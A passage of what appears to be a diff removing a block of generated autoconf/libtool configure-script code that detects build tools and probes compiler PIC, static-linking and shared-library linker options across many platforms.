- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_ac_ct_STRIP="strip"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-ac_ct_STRIP=$ac_cv_prog_ac_ct_STRIP
-if test -n "$ac_ct_STRIP"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_STRIP" >&5
-$as_echo "$ac_ct_STRIP" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- if test "x$ac_ct_STRIP" = x; then
- STRIP=":"
- else
- case $cross_compiling:$ac_tool_warned in
-yes:)
-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
- STRIP=$ac_ct_STRIP
- fi
-else
- STRIP="$ac_cv_prog_STRIP"
-fi
-
-
-old_CC="$CC"
-old_CFLAGS="$CFLAGS"
-
-# Set sane defaults for various variables
-test -z "$AR" && AR=ar
-test -z "$AR_FLAGS" && AR_FLAGS=cru
-test -z "$AS" && AS=as
-test -z "$CC" && CC=cc
-test -z "$LTCC" && LTCC=$CC
-test -z "$LTCFLAGS" && LTCFLAGS=$CFLAGS
-test -z "$DLLTOOL" && DLLTOOL=dlltool
-test -z "$LD" && LD=ld
-test -z "$LN_S" && LN_S="ln -s"
-test -z "$MAGIC_CMD" && MAGIC_CMD=file
-test -z "$NM" && NM=nm
-test -z "$SED" && SED=sed
-test -z "$OBJDUMP" && OBJDUMP=objdump
-test -z "$RANLIB" && RANLIB=:
-test -z "$STRIP" && STRIP=:
-test -z "$ac_objext" && ac_objext=o
-
-# Determine commands to create old-style static archives.
-old_archive_cmds='$AR $AR_FLAGS $oldlib$oldobjs$old_deplibs'
-old_postinstall_cmds='chmod 644 $oldlib'
-old_postuninstall_cmds=
-
-if test -n "$RANLIB"; then
- case $host_os in
- openbsd*)
- old_postinstall_cmds="$old_postinstall_cmds~\$RANLIB -t \$oldlib"
- ;;
- *)
- old_postinstall_cmds="$old_postinstall_cmds~\$RANLIB \$oldlib"
- ;;
- esac
- old_archive_cmds="$old_archive_cmds~\$RANLIB \$oldlib"
-fi
-
-for cc_temp in $compiler""; do
- case $cc_temp in
- compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
- distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
- \-*) ;;
- *) break;;
- esac
-done
-cc_basename=`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
-
-
-# Only perform the check for file, if the check method requires it
-case $deplibs_check_method in
-file_magic*)
- if test "$file_magic_cmd" = '$MAGIC_CMD'; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for ${ac_tool_prefix}file" >&5
-$as_echo_n "checking for ${ac_tool_prefix}file... " >&6; }
-if ${lt_cv_path_MAGIC_CMD+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- case $MAGIC_CMD in
-[\\/*] | ?:[\\/]*)
- lt_cv_path_MAGIC_CMD="$MAGIC_CMD" # Let the user override the test with a path.
- ;;
-*)
- lt_save_MAGIC_CMD="$MAGIC_CMD"
- lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
- ac_dummy="/usr/bin$PATH_SEPARATOR$PATH"
- for ac_dir in $ac_dummy; do
- IFS="$lt_save_ifs"
- test -z "$ac_dir" && ac_dir=.
- if test -f $ac_dir/${ac_tool_prefix}file; then
- lt_cv_path_MAGIC_CMD="$ac_dir/${ac_tool_prefix}file"
- if test -n "$file_magic_test_file"; then
- case $deplibs_check_method in
- "file_magic "*)
- file_magic_regex=`expr "$deplibs_check_method" : "file_magic \(.*\)"`
- MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
- if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null |
- $EGREP "$file_magic_regex" > /dev/null; then
- :
- else
- cat <<EOF 1>&2
-
-*** Warning: the command libtool uses to detect shared libraries,
-*** $file_magic_cmd, produces output that libtool cannot recognize.
-*** The result is that libtool may fail to recognize shared libraries
-*** as such. This will affect the creation of libtool libraries that
-*** depend on shared libraries, but programs linked with such libtool
-*** libraries will work regardless of this problem. Nevertheless, you
-*** may want to report the problem to your system manager and/or to
-*** bug-libtool@gnu.org
-
-EOF
- fi ;;
- esac
- fi
- break
- fi
- done
- IFS="$lt_save_ifs"
- MAGIC_CMD="$lt_save_MAGIC_CMD"
- ;;
-esac
-fi
-
-MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
-if test -n "$MAGIC_CMD"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MAGIC_CMD" >&5
-$as_echo "$MAGIC_CMD" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-if test -z "$lt_cv_path_MAGIC_CMD"; then
- if test -n "$ac_tool_prefix"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for file" >&5
-$as_echo_n "checking for file... " >&6; }
-if ${lt_cv_path_MAGIC_CMD+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- case $MAGIC_CMD in
-[\\/*] | ?:[\\/]*)
- lt_cv_path_MAGIC_CMD="$MAGIC_CMD" # Let the user override the test with a path.
- ;;
-*)
- lt_save_MAGIC_CMD="$MAGIC_CMD"
- lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
- ac_dummy="/usr/bin$PATH_SEPARATOR$PATH"
- for ac_dir in $ac_dummy; do
- IFS="$lt_save_ifs"
- test -z "$ac_dir" && ac_dir=.
- if test -f $ac_dir/file; then
- lt_cv_path_MAGIC_CMD="$ac_dir/file"
- if test -n "$file_magic_test_file"; then
- case $deplibs_check_method in
- "file_magic "*)
- file_magic_regex=`expr "$deplibs_check_method" : "file_magic \(.*\)"`
- MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
- if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null |
- $EGREP "$file_magic_regex" > /dev/null; then
- :
- else
- cat <<EOF 1>&2
-
-*** Warning: the command libtool uses to detect shared libraries,
-*** $file_magic_cmd, produces output that libtool cannot recognize.
-*** The result is that libtool may fail to recognize shared libraries
-*** as such. This will affect the creation of libtool libraries that
-*** depend on shared libraries, but programs linked with such libtool
-*** libraries will work regardless of this problem. Nevertheless, you
-*** may want to report the problem to your system manager and/or to
-*** bug-libtool@gnu.org
-
-EOF
- fi ;;
- esac
- fi
- break
- fi
- done
- IFS="$lt_save_ifs"
- MAGIC_CMD="$lt_save_MAGIC_CMD"
- ;;
-esac
-fi
-
-MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
-if test -n "$MAGIC_CMD"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MAGIC_CMD" >&5
-$as_echo "$MAGIC_CMD" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- else
- MAGIC_CMD=:
- fi
-fi
-
- fi
- ;;
-esac
-
-enable_dlopen=no
-enable_win32_dll=yes
-
-@%:@ Check whether --enable-libtool-lock was given.
-if test "${enable_libtool_lock+set}" = set; then :
- enableval=$enable_libtool_lock;
-fi
-
-test "x$enable_libtool_lock" != xno && enable_libtool_lock=yes
-
-
-@%:@ Check whether --with-pic was given.
-if test "${with_pic+set}" = set; then :
- withval=$with_pic; pic_mode="$withval"
-else
- pic_mode=default
-fi
-
-test -z "$pic_mode" && pic_mode=default
-
-# Use C for the default configuration in the libtool script
-tagname=
-lt_save_CC="$CC"
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-
-# Source file extension for C test sources.
-ac_ext=c
-
-# Object file extension for compiled C test sources.
-objext=o
-objext=$objext
-
-# Code to be used in simple compile tests
-lt_simple_compile_test_code="int some_variable = 0;\n"
-
-# Code to be used in simple link tests
-lt_simple_link_test_code='int main(){return(0);}\n'
-
-
-# If no C compiler was specified, use CC.
-LTCC=${LTCC-"$CC"}
-
-# If no C compiler flags were specified, use CFLAGS.
-LTCFLAGS=${LTCFLAGS-"$CFLAGS"}
-
-# Allow CC to be a program name with arguments.
-compiler=$CC
-
-
-# save warnings/boilerplate of simple test code
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_compile_test_code" >conftest.$ac_ext
-eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_compiler_boilerplate=`cat conftest.err`
-$rm conftest*
-
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_link_test_code" >conftest.$ac_ext
-eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_linker_boilerplate=`cat conftest.err`
-$rm conftest*
-
-
-## CAVEAT EMPTOR:
-## There is no encapsulation within the following macros, do not change
-## the running order or otherwise move them around unless you know exactly
-## what you are doing...
-
-lt_prog_compiler_no_builtin_flag=
-
-if test "$GCC" = yes; then
- lt_prog_compiler_no_builtin_flag=' -fno-builtin'
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -fno-rtti -fno-exceptions" >&5
-$as_echo_n "checking if $compiler supports -fno-rtti -fno-exceptions... " >&6; }
-if ${lt_cv_prog_compiler_rtti_exceptions+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_cv_prog_compiler_rtti_exceptions=no
- ac_outfile=conftest.$ac_objext
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
- lt_compiler_flag="-fno-rtti -fno-exceptions"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- # The option is referenced via a variable to avoid confusing sed.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>conftest.err)
- ac_status=$?
- cat conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s "$ac_outfile"; then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings other than the usual output.
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then
- lt_cv_prog_compiler_rtti_exceptions=yes
- fi
- fi
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_rtti_exceptions" >&5
-$as_echo "$lt_cv_prog_compiler_rtti_exceptions" >&6; }
-
-if test x"$lt_cv_prog_compiler_rtti_exceptions" = xyes; then
- lt_prog_compiler_no_builtin_flag="$lt_prog_compiler_no_builtin_flag -fno-rtti -fno-exceptions"
-else
- :
-fi
-
-fi
-
-lt_prog_compiler_wl=
-lt_prog_compiler_pic=
-lt_prog_compiler_static=
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- if test "$GCC" = yes; then
- lt_prog_compiler_wl='-Wl,'
- lt_prog_compiler_static='-static'
-
- case $host_os in
- aix*)
- # All AIX code is PIC.
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static='-Bstatic'
- fi
- ;;
-
- amigaos*)
- # FIXME: we need at least 68020 code to build shared libraries, but
- # adding the `-m68020' flag to GCC prevents building anything better,
- # like `-m68040'.
- lt_prog_compiler_pic='-m68020 -resident32 -malways-restore-a4'
- ;;
-
- beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*)
- # PIC is the default for these OSes.
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- lt_prog_compiler_pic='-DDLL_EXPORT'
- ;;
-
- darwin* | rhapsody*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- lt_prog_compiler_pic='-fno-common'
- ;;
-
- interix3*)
- # Interix 3.x gcc -fpic/-fPIC options generate broken code.
- # Instead, we relocate shared libraries at runtime.
- ;;
-
- msdosdjgpp*)
- # Just because we use GCC doesn't mean we suddenly get shared libraries
- # on systems that don't support them.
- lt_prog_compiler_can_build_shared=no
- enable_shared=no
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec; then
- lt_prog_compiler_pic=-Kconform_pic
- fi
- ;;
-
- hpux*)
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- lt_prog_compiler_pic='-fPIC'
- ;;
- esac
- ;;
-
- *)
- lt_prog_compiler_pic='-fPIC'
- ;;
- esac
- else
- # PORTME Check for flag to pass linker flags through the system compiler.
- case $host_os in
- aix*)
- lt_prog_compiler_wl='-Wl,'
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static='-Bstatic'
- else
- lt_prog_compiler_static='-bnso -bI:/lib/syscalls.exp'
- fi
- ;;
- darwin*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- case $cc_basename in
- xlc*)
- lt_prog_compiler_pic='-qnocommon'
- lt_prog_compiler_wl='-Wl,'
- ;;
- esac
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- lt_prog_compiler_pic='-DDLL_EXPORT'
- ;;
-
- hpux9* | hpux10* | hpux11*)
- lt_prog_compiler_wl='-Wl,'
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- lt_prog_compiler_pic='+Z'
- ;;
- esac
- # Is there a better lt_prog_compiler_static that works with the bundled CC?
- lt_prog_compiler_static='${wl}-a ${wl}archive'
- ;;
-
- irix5* | irix6* | nonstopux*)
- lt_prog_compiler_wl='-Wl,'
- # PIC (with -KPIC) is the default.
- lt_prog_compiler_static='-non_shared'
- ;;
-
- newsos6)
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- ;;
-
- linux*)
- case $cc_basename in
- icc* | ecc*)
- lt_prog_compiler_wl='-Wl,'
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-static'
- ;;
- pgcc* | pgf77* | pgf90* | pgf95*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
- lt_prog_compiler_wl='-Wl,'
- lt_prog_compiler_pic='-fpic'
- lt_prog_compiler_static='-Bstatic'
- ;;
- ccc*)
- lt_prog_compiler_wl='-Wl,'
- # All Alpha code is PIC.
- lt_prog_compiler_static='-non_shared'
- ;;
- esac
- ;;
-
- osf3* | osf4* | osf5*)
- lt_prog_compiler_wl='-Wl,'
- # All OSF/1 code is PIC.
- lt_prog_compiler_static='-non_shared'
- ;;
-
- solaris*)
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- case $cc_basename in
- f77* | f90* | f95*)
- lt_prog_compiler_wl='-Qoption ld ';;
- *)
- lt_prog_compiler_wl='-Wl,';;
- esac
- ;;
-
- sunos4*)
- lt_prog_compiler_wl='-Qoption ld '
- lt_prog_compiler_pic='-PIC'
- lt_prog_compiler_static='-Bstatic'
- ;;
-
- sysv4 | sysv4.2uw2* | sysv4.3*)
- lt_prog_compiler_wl='-Wl,'
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec ;then
- lt_prog_compiler_pic='-Kconform_pic'
- lt_prog_compiler_static='-Bstatic'
- fi
- ;;
-
- sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*)
- lt_prog_compiler_wl='-Wl,'
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- ;;
-
- unicos*)
- lt_prog_compiler_wl='-Wl,'
- lt_prog_compiler_can_build_shared=no
- ;;
-
- uts4*)
- lt_prog_compiler_pic='-pic'
- lt_prog_compiler_static='-Bstatic'
- ;;
-
- *)
- lt_prog_compiler_can_build_shared=no
- ;;
- esac
- fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
-$as_echo "$lt_prog_compiler_pic" >&6; }
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-if test -n "$lt_prog_compiler_pic"; then
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler PIC flag $lt_prog_compiler_pic works" >&5
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- $as_echo_n "(cached) " >&6
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- lt_prog_compiler_pic_works=no
- ac_outfile=conftest.$ac_objext
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
- lt_compiler_flag="$lt_prog_compiler_pic -DPIC"
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- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>conftest.err)
- ac_status=$?
- cat conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s "$ac_outfile"; then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings other than the usual output.
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
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- fi
- fi
- $rm conftest*
-
-fi
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-$as_echo "$lt_prog_compiler_pic_works" >&6; }
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- *) lt_prog_compiler_pic=" $lt_prog_compiler_pic" ;;
- esac
-else
- lt_prog_compiler_pic=
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-fi
-
-fi
-case $host_os in
- # For platforms which do not support PIC, -DPIC is meaningless:
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- lt_prog_compiler_pic=
- ;;
- *)
- lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
- ;;
-esac
-
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-# Check to make sure the static flag actually works.
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler static flag $lt_tmp_static_flag works" >&5
-$as_echo_n "checking if $compiler static flag $lt_tmp_static_flag works... " >&6; }
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- $as_echo_n "(cached) " >&6
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- lt_prog_compiler_static_works=no
- save_LDFLAGS="$LDFLAGS"
- LDFLAGS="$LDFLAGS $lt_tmp_static_flag"
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- if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then
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- # So say no if there are warnings
- if test -s conftest.err; then
- # Append any errors to the config.log.
- cat conftest.err 1>&5
- $echo "X$_lt_linker_boilerplate" | $Xsed -e '/^$/d' > conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_static_works=yes
- fi
- else
- lt_prog_compiler_static_works=yes
- fi
- fi
- $rm conftest*
- LDFLAGS="$save_LDFLAGS"
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_static_works" >&5
-$as_echo "$lt_prog_compiler_static_works" >&6; }
-
-if test x"$lt_prog_compiler_static_works" = xyes; then
- :
-else
- lt_prog_compiler_static=
-fi
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -c -o file.$ac_objext" >&5
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-if ${lt_cv_prog_compiler_c_o+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_cv_prog_compiler_c_o=no
- $rm -r conftest 2>/dev/null
- mkdir conftest
- cd conftest
- mkdir out
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- lt_compiler_flag="-o out/conftest2.$ac_objext"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>out/conftest.err)
- ac_status=$?
- cat out/conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s out/conftest2.$ac_objext
- then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conftest.exp
- $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2
- if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then
- lt_cv_prog_compiler_c_o=yes
- fi
- fi
- chmod u+w . 2>&5
- $rm conftest*
- # SGI C++ compiler will create directory out/ii_files/ for
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- test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files
- $rm out/* && rmdir out
- cd ..
- rmdir conftest
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_c_o" >&5
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-
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-$as_echo_n "checking if we can lock with hard links... " >&6; }
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- $rm conftest*
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
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- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $hard_links" >&5
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-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $compiler linker ($LD) supports shared libraries" >&5
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- whole_archive_flag_spec=
- thread_safe_flag_spec=
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- case $host_os in
- cygwin* | mingw* | pw32*)
- # FIXME: the MSVC++ port hasn't been tested in a loooong time
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- if test "$GCC" != yes; then
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- interix*)
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- with_gnu_ld=yes
- ;;
- openbsd*)
- with_gnu_ld=no
- ;;
- esac
-
- ld_shlibs=yes
- if test "$with_gnu_ld" = yes; then
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- wlarc='${wl}'
-
- # Set some defaults for GNU ld with shared library support. These
- # are reset later if shared libraries are not supported. Putting them
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- runpath_var=LD_RUN_PATH
- hardcode_libdir_flag_spec='${wl}--rpath ${wl}$libdir'
- export_dynamic_flag_spec='${wl}--export-dynamic'
- # ancient GNU ld didn't support --whole-archive et. al.
- if $LD --help 2>&1 | grep 'no-whole-archive' > /dev/null; then
- whole_archive_flag_spec="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
- else
- whole_archive_flag_spec=
- fi
- supports_anon_versioning=no
- case `$LD -v 2>/dev/null` in
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- *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ...
- *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ...
- *\ 2.11.*) ;; # other 2.11 versions
- *) supports_anon_versioning=yes ;;
- esac
-
- # See if GNU ld supports shared libraries.
- case $host_os in
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- # On AIX/PPC, the GNU linker is very broken
- if test "$host_cpu" != ia64; then
- ld_shlibs=no
- cat <<EOF 1>&2
-
-*** Warning: the GNU linker, at least up to release 2.9.1, is reported
-*** to be unable to reliably create shared libraries on AIX.
-*** Therefore, libtool is disabling shared libraries support. If you
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- fi
- ;;
-
- amigaos*)
- archive_cmds='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_minus_L=yes
-
- # Samuel A. Falvo II <kc5tja@dolphin.openprojects.net> reports
- # that the semantics of dynamic libraries on AmigaOS, at least up
- # to version 4, is to share data among multiple programs linked
- # with the same dynamic library. Since this doesn't match the
- # behavior of shared libraries on other platforms, we can't use
- # them.
- ld_shlibs=no
- ;;
-
- beos*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- allow_undefined_flag=unsupported
- # Joseph Beckenbach <jrb3@best.com> says some releases of gcc
- # support --undefined. This deserves some investigation. FIXME
- archive_cmds='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- else
- ld_shlibs=no
- fi
- ;;
-
- cygwin* | mingw* | pw32*)
- # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, ) is actually meaningless,
- # as there is no search path for DLLs.
- hardcode_libdir_flag_spec='-L$libdir'
- allow_undefined_flag=unsupported
- always_export_symbols=no
- enable_shared_with_static_runtimes=yes
- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS] /s/.* \([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols'
-
- if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- # If the export-symbols file already is a .def file (1st line
- # is EXPORTS), use it as is; otherwise, prepend...
- archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
- cp $export_symbols $output_objdir/$soname.def;
- else
- echo EXPORTS > $output_objdir/$soname.def;
- cat $export_symbols >> $output_objdir/$soname.def;
- fi~
- $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- else
- ld_shlibs=no
- fi
- ;;
-
- interix3*)
- hardcode_direct=no
- hardcode_shlibpath_var=no
- hardcode_libdir_flag_spec='${wl}-rpath,$libdir'
- export_dynamic_flag_spec='${wl}-E'
- # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc.
- # Instead, shared libraries are loaded at an image base (0x10000000 by
- # default) and relocated if they conflict, which is a slow very memory
- # consuming and fragmenting process. To avoid this, we pick a random,
- # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link
- # time. Moving up from 0x10000000 also allows more sbrk(2) space.
- archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- archive_expsym_cmds='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- ;;
-
- linux*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- tmp_addflag=
- case $cc_basename,$host_cpu in
- pgcc*) # Portland Group C compiler
- whole_archive_flag_spec='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag'
- ;;
- pgf77* | pgf90* | pgf95*) # Portland Group f77 and f90 compilers
- whole_archive_flag_spec='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag -Mnomain' ;;
- ecc*,ia64* | icc*,ia64*) # Intel C compiler on ia64
- tmp_addflag=' -i_dynamic' ;;
- efc*,ia64* | ifort*,ia64*) # Intel Fortran compiler on ia64
- tmp_addflag=' -i_dynamic -nofor_main' ;;
- ifc* | ifort*) # Intel Fortran compiler
- tmp_addflag=' -nofor_main' ;;
- esac
- archive_cmds='$CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-
- if test $supports_anon_versioning = yes; then
- archive_expsym_cmds='$echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- $echo "local: *; };" >> $output_objdir/$libname.ver~
- $CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib'
- fi
- else
- ld_shlibs=no
- fi
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
- solaris*)
- if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then
- ld_shlibs=no
- cat <<EOF 1>&2
-
